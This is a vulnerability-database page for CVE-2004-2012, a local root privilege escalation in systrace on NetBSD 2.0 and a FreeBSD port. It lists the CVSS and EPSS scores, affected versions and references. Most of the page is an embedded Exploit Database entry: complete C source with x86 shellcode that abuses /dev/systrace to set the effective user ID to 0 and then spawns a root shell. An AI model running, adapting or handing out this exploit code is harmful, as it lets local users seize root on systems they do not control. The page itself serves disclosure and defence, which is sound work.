CVE-2004-2012 : Detail

CVE-2004-2012

0.04%V3
Local
2005-05-10
02h00 +00:00
2017-07-10
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The systrace_exit function in the systrace utility for NetBSD-current and 2.0 before April 16, 2004, and certain FreeBSD ports, does not verify the owner of the /dec/systrace connection before setting euid to 0, which allows local users to gain root privileges.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 24113

Publication date : 2004-05-10 22h00 +00:00
Author : Stefan Esser
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/10320/info A vulnerability has been reported that affects Systrace on NetBSD, as well as the FreeBSD port by Vladimir Kotal. The source of the issue is insufficient access validation when a systraced process is restoring privileges. This issue can be exploited by a local attacker to gain root privileges on a vulnerable system. #include <stdio.h> #include <sys/ioctl.h> #include <fcntl.h> #include <sys/systrace.h> #define systrace_device "/dev/systrace" char MAGIC[] = "\x53\x31\xc0\x50\x50\x50\x50\xb8\x03\x00\x00\x00" "\xcd\x80\x83\xc4\x10\xb8\x00\x00\xc0\xbf\x94\x50" "\xb8\x03\x00\x00\x00\xcd\x80\x5b\x87\xe3\x5b\xc3"; void (*magic)(void) = MAGIC; int nbsd_systrace_open() { int fd; printf("[+] Connecting to %s... ", systrace_device); fd = open(systrace_device, O_RDONLY, 0); if (fd == -1) { perror("failed with error: "); printf("\nSorry but the exploit failed\n"); exit(1); } printf("done.\n"); return (fd); } int nbsd_attach_parent(int fd) { pid_t pid = getppid(); printf("[+] Attaching to parent... "); if (ioctl(fd, STRIOCATTACH, &pid) == -1) { perror("failed with error: "); printf("\nSorry but the exploit failed\n"); } printf("done.\n"); return (0); } void nbsd_handle_msg(int fd) { struct str_message msg; struct systrace_answer ans; int r; r = read(fd, &msg, sizeof(msg)); if (r != sizeof(msg)) { exit(1); } memset(&ans, 0, sizeof(ans)); ans.stra_pid = msg.msg_pid; ans.stra_seqnr = msg.msg_seqnr; ans.stra_policy = SYSTR_POLICY_PERMIT; ans.stra_flags = SYSTR_FLAGS_RESULT|SYSTR_FLAGS_SETEUID|SYSTR_FLAGS_SETEUID; ans.stra_error = 0; ans.stra_seteuid = getuid(); ans.stra_setegid = getgid(); if (ioctl(fd, STRIOCANSWER, &ans) == -1); } void doit() { int p,f,fd; fd = nbsd_systrace_open(); f = fork(); if (f == 0) { sleep(1); nbsd_attach_parent(fd); while (1) { nbsd_handle_msg(fd); } exit(1); } printf("[+] Doing some magic... "); sleep(2); magic(); setuid(0); setgid(0); kill(f, 9); if (getuid() != 0) { printf("failed.\n"); printf("\nSorry but the exploit failed."); exit(1); } printf("done.\n\n"); system("uname -v"); system("id"); execlp("/bin/sh", "/bin/sh", 0); } void banner() { printf("NetBSD/x86 systrace local root exploit\n"); printf("by ziegenpeter\n\n"); if (getuid() == 0) { printf("no comment\n"); exit(1); } } int main(int argc, char **argv) { int fd; banner(); doit(); return (0); }

Products Mentioned

Configuraton 0

Niels>>Provos_systrace >> Version 1.1

    Niels>>Provos_systrace >> Version 1.2

      Niels>>Provos_systrace >> Version 1.3

        Niels>>Provos_systrace >> Version 1.4

          Niels>>Provos_systrace >> Version 1.5

            Vladimir_kotal>>Systrace_port_for_freebsd >> Version 2004-03-09

              Vladimir_kotal>>Systrace_port_for_freebsd >> Version 2004-06-02

                Configuraton 0

                Netbsd>>Netbsd >> Version 2.0

                References

                http://marc.info/?l=bugtraq&m=108432258920570&w=2
                Tags : mailing-list, x_refsource_BUGTRAQ
                http://www.securityfocus.com/bid/10320
                Tags : vdb-entry, x_refsource_BID
                http://secunia.com/advisories/11585
                Tags : third-party-advisory, x_refsource_SECUNIA